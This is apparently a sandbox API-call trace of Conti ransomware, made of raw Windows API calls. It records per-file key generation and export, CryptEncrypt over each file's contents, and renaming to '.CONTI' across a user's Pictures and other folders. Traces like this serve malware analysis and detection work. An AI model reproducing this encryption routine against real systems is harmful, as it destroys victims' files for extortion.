	[0145.151] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\qzbcjZuMF.png" (normalized: "c:\\users\\fd1hvy\\pictures\\qzbcjzumf.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0145.152] GetLastError () returned 0x0
	[0145.152] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=64913) returned 1
	[0145.152] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xfd91
	[0145.152] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x233, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0145.152] SetEndOfFile (hFile=0x39c) returned 1
	[0145.152] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0145.152] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0145.152] WriteFile (in: hFile=0x39c, lpBuffer=0x65cf0ac*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x65cf0ac*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0145.155] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0145.155] ReadFile (in: hFile=0x39c, lpBuffer=0xdf60000, nNumberOfBytesToRead=0xfd91, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0xfd91, lpOverlapped=0x0) returned 1
	[0145.158] CryptEncrypt (in: hKey=0x17dee10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0xfd91, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0xfda0) returned 1
	[0145.158] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0145.158] WriteFile (in: hFile=0x39c, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0xfda0, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0xfda0, lpOverlapped=0x0) returned 1
	[0145.159] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0145.159] WriteFile (in: hFile=0x39c, lpBuffer=0x65cf0a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x65cf0a0*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0145.159] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0145.159] CloseHandle (hObject=0x39c) returned 1
	[0145.159] GetProcessHeap () returned 0x1720000
	[0145.159] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0145.159] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Pictures\\qzbcjZuMF.png" | out: lpString1="C:\\Users\\FD1HVy\\Pictures\\qzbcjZuMF.png") returned="C:\\Users\\FD1HVy\\Pictures\\qzbcjZuMF.png"
	[0145.159] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Pictures\\qzbcjZuMF.png", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Pictures\\qzbcjZuMF.png.CONTI") returned="C:\\Users\\FD1HVy\\Pictures\\qzbcjZuMF.png.CONTI"
	[0145.159] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\qzbcjZuMF.png" (normalized: "c:\\users\\fd1hvy\\pictures\\qzbcjzumf.png"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\qzbcjZuMF.png.CONTI" (normalized: "c:\\users\\fd1hvy\\pictures\\qzbcjzumf.png.conti")) returned 1
	[0145.160] GetProcessHeap () returned 0x1720000
	[0145.160] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0145.160] CryptDestroyKey (hKey=0x17dee10) returned 1
	[0145.160] GetProcessHeap () returned 0x1720000
	[0145.160] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bf020 | out: hHeap=0x1720000) returned 1
	[0145.160] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0145.160] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x65d0c08 | out: phKey=0x65d0c08*=0x17dee10) returned 1
	[0145.160] CryptExportKey (in: hKey=0x17dee10, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d0c0c, pdwDataLen=0x4d3fec4 | out: pbData=0x65d0c0c*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0145.160] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\sIG_.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\sig_.bmp")) returned 0x20
	[0145.161] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\sIG_.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\sig_.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0145.161] GetLastError () returned 0x0
	[0145.161] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=45717) returned 1
	[0145.161] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xb295
	[0145.161] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x22f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0145.161] SetEndOfFile (hFile=0x39c) returned 1
	[0145.161] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0145.161] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0145.161] WriteFile (in: hFile=0x39c, lpBuffer=0x65d0c0c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x65d0c0c*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0145.164] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0145.164] ReadFile (in: hFile=0x39c, lpBuffer=0xdf60000, nNumberOfBytesToRead=0xb295, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0xb295, lpOverlapped=0x0) returned 1
	[0145.168] CryptEncrypt (in: hKey=0x17dee10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0xb295, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0xb2a0) returned 1
	[0145.169] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0145.169] WriteFile (in: hFile=0x39c, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0xb2a0, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0xb2a0, lpOverlapped=0x0) returned 1
	[0145.169] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0145.169] WriteFile (in: hFile=0x39c, lpBuffer=0x65d0c00*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x65d0c00*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0145.169] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0145.169] CloseHandle (hObject=0x39c) returned 1
	[0145.169] GetProcessHeap () returned 0x1720000
	[0145.169] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0145.169] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Pictures\\sIG_.bmp" | out: lpString1="C:\\Users\\FD1HVy\\Pictures\\sIG_.bmp") returned="C:\\Users\\FD1HVy\\Pictures\\sIG_.bmp"
	[0145.169] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Pictures\\sIG_.bmp", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Pictures\\sIG_.bmp.CONTI") returned="C:\\Users\\FD1HVy\\Pictures\\sIG_.bmp.CONTI"
	[0145.169] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\sIG_.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\sig_.bmp"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\sIG_.bmp.CONTI" (normalized: "c:\\users\\fd1hvy\\pictures\\sig_.bmp.conti")) returned 1
	[0145.170] GetProcessHeap () returned 0x1720000
	[0145.170] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0145.170] CryptDestroyKey (hKey=0x17dee10) returned 1
	[0145.170] GetProcessHeap () returned 0x1720000
	[0145.170] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173d148 | out: hHeap=0x1720000) returned 1
	[0145.170] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0145.170] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x65d0778 | out: phKey=0x65d0778*=0x17dee10) returned 1
	[0145.170] CryptExportKey (in: hKey=0x17dee10, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d077c, pdwDataLen=0x4d3fec4 | out: pbData=0x65d077c*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0145.171] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\zr76UvHvwMDwVFHn.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\zr76uvhvwmdwvfhn.bmp")) returned 0x20
	[0145.171] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\zr76UvHvwMDwVFHn.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\zr76uvhvwmdwvfhn.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0145.171] GetLastError () returned 0x0
	[0145.171] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=60891) returned 1
	[0145.171] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xeddb
	[0145.171] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x229, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0145.171] SetEndOfFile (hFile=0x39c) returned 1
	[0145.171] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0145.171] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0145.171] WriteFile (in: hFile=0x39c, lpBuffer=0x65d077c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x65d077c*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0145.174] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0145.174] ReadFile (in: hFile=0x39c, lpBuffer=0xdf60000, nNumberOfBytesToRead=0xeddb, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0xeddb, lpOverlapped=0x0) returned 1
	[0145.177] CryptEncrypt (in: hKey=0x17dee10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0xeddb, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0xede0) returned 1
	[0145.177] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0145.178] WriteFile (in: hFile=0x39c, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0xede0, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0xede0, lpOverlapped=0x0) returned 1
	[0145.178] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0145.178] WriteFile (in: hFile=0x39c, lpBuffer=0x65d0770*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x65d0770*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0145.178] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0145.178] CloseHandle (hObject=0x39c) returned 1
	[0145.178] GetProcessHeap () returned 0x1720000
	[0145.178] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0145.178] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Pictures\\zr76UvHvwMDwVFHn.bmp" | out: lpString1="C:\\Users\\FD1HVy\\Pictures\\zr76UvHvwMDwVFHn.bmp") returned="C:\\Users\\FD1HVy\\Pictures\\zr76UvHvwMDwVFHn.bmp"
	[0145.178] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Pictures\\zr76UvHvwMDwVFHn.bmp", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Pictures\\zr76UvHvwMDwVFHn.bmp.CONTI") returned="C:\\Users\\FD1HVy\\Pictures\\zr76UvHvwMDwVFHn.bmp.CONTI"
	[0145.178] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\zr76UvHvwMDwVFHn.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\zr76uvhvwmdwvfhn.bmp"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\zr76UvHvwMDwVFHn.bmp.CONTI" (normalized: "c:\\users\\fd1hvy\\pictures\\zr76uvhvwmdwvfhn.bmp.conti")) returned 1
	[0145.179] GetProcessHeap () returned 0x1720000
	[0145.179] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0145.179] CryptDestroyKey (hKey=0x17dee10) returned 1
	[0145.179] GetProcessHeap () returned 0x1720000
	[0145.179] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65cbdc8 | out: hHeap=0x1720000) returned 1
	[0145.179] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0145.179] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x65cfc10 | out: phKey=0x65cfc10*=0x17dee10) returned 1
	[0145.179] CryptExportKey (in: hKey=0x17dee10, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x65cfc14, pdwDataLen=0x4d3fec4 | out: pbData=0x65cfc14*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0145.180] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Searches\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\searches\\desktop.ini")) returned 0x26
	[0145.180] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Searches\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\searches\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0145.180] GetLastError () returned 0x0
	[0145.180] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=524) returned 1
	[0145.180] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x20c
	[0145.180] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0145.180] SetEndOfFile (hFile=0x39c) returned 1
	[0145.182] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0145.182] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0145.182] WriteFile (in: hFile=0x39c, lpBuffer=0x65cfc14*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x65cfc14*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0145.186] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0145.186] ReadFile (in: hFile=0x39c, lpBuffer=0xdf60000, nNumberOfBytesToRead=0x20c, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0x20c, lpOverlapped=0x0) returned 1
	[0145.186] CryptEncrypt (in: hKey=0x17dee10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x20c, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x210) returned 1
	[0145.186] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0145.187] WriteFile (in: hFile=0x39c, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0x210, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0x210, lpOverlapped=0x0) returned 1
	[0145.187] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0145.187] WriteFile (in: hFile=0x39c, lpBuffer=0x65cfc08*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x65cfc08*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0145.187] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0145.187] CloseHandle (hObject=0x39c) returned 1
	[0145.187] GetProcessHeap () returned 0x1720000
	[0145.187] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0145.187] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Searches\\desktop.ini" | out: lpString1="C:\\Users\\FD1HVy\\Searches\\desktop.ini") returned="C:\\Users\\FD1HVy\\Searches\\desktop.ini"
	[0145.187] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Searches\\desktop.ini", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Searches\\desktop.ini.CONTI") returned="C:\\Users\\FD1HVy\\Searches\\desktop.ini.CONTI"
	[0145.187] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Searches\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\searches\\desktop.ini"), lpNewFileName="C:\\Users\\FD1HVy\\Searches\\desktop.ini.CONTI" (normalized: "c:\\users\\fd1hvy\\searches\\desktop.ini.conti")) returned 1
	[0149.490] GetProcessHeap () returned 0x1720000
	[0149.490] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0149.498] CryptDestroyKey (hKey=0x17dee10) returned 1
	[0149.499] GetProcessHeap () returned 0x1720000
	[0149.499] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181dde8 | out: hHeap=0x1720000) returned 1
	[0149.499] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0149.499] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x65d4080 | out: phKey=0x65d4080*=0x17dee10) returned 1
	[0149.499] CryptExportKey (in: hKey=0x17dee10, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d4084, pdwDataLen=0x4d3fec4 | out: pbData=0x65d4084*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0149.500] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\i386\\nxquery.cat" (normalized: "c:\\windows10upgrade\\resources\\i386\\nxquery.cat")) returned 0x20
	[0149.500] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\i386\\nxquery.cat" (normalized: "c:\\windows10upgrade\\resources\\i386\\nxquery.cat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c
	[0149.500] GetLastError () returned 0x0
	[0149.500] GetFileSizeEx (in: hFile=0x49c, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=9860) returned 1
	[0149.500] SetFilePointer (in: hFile=0x49c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2684
	[0149.501] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0149.501] SetEndOfFile (hFile=0x49c) returned 1
	[0149.501] SetFilePointer (in: hFile=0x49c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0149.501] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0149.501] WriteFile (in: hFile=0x49c, lpBuffer=0x65d4084*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x65d4084*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0149.502] SetFilePointer (in: hFile=0x49c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0149.502] ReadFile (in: hFile=0x49c, lpBuffer=0xdf60000, nNumberOfBytesToRead=0x2684, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0x2684, lpOverlapped=0x0) returned 1
	[0149.503] CryptEncrypt (in: hKey=0x17dee10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x2684, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x2690) returned 1
	[0149.503] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0149.503] WriteFile (in: hFile=0x49c, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0x2690, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0x2690, lpOverlapped=0x0) returned 1
	[0149.503] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0149.503] WriteFile (in: hFile=0x49c, lpBuffer=0x65d4078*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x65d4078*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0149.503] SetFilePointer (in: hFile=0x49c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0149.503] CloseHandle (hObject=0x49c) returned 1
	[0149.503] GetProcessHeap () returned 0x1720000
	[0149.503] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0149.503] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Windows10Upgrade\\resources\\i386\\nxquery.cat" | out: lpString1="C:\\Windows10Upgrade\\resources\\i386\\nxquery.cat") returned="C:\\Windows10Upgrade\\resources\\i386\\nxquery.cat"
	[0149.503] lstrcatW (in: lpString1="C:\\Windows10Upgrade\\resources\\i386\\nxquery.cat", lpString2=".CONTI" | out: lpString1="C:\\Windows10Upgrade\\resources\\i386\\nxquery.cat.CONTI") returned="C:\\Windows10Upgrade\\resources\\i386\\nxquery.cat.CONTI"
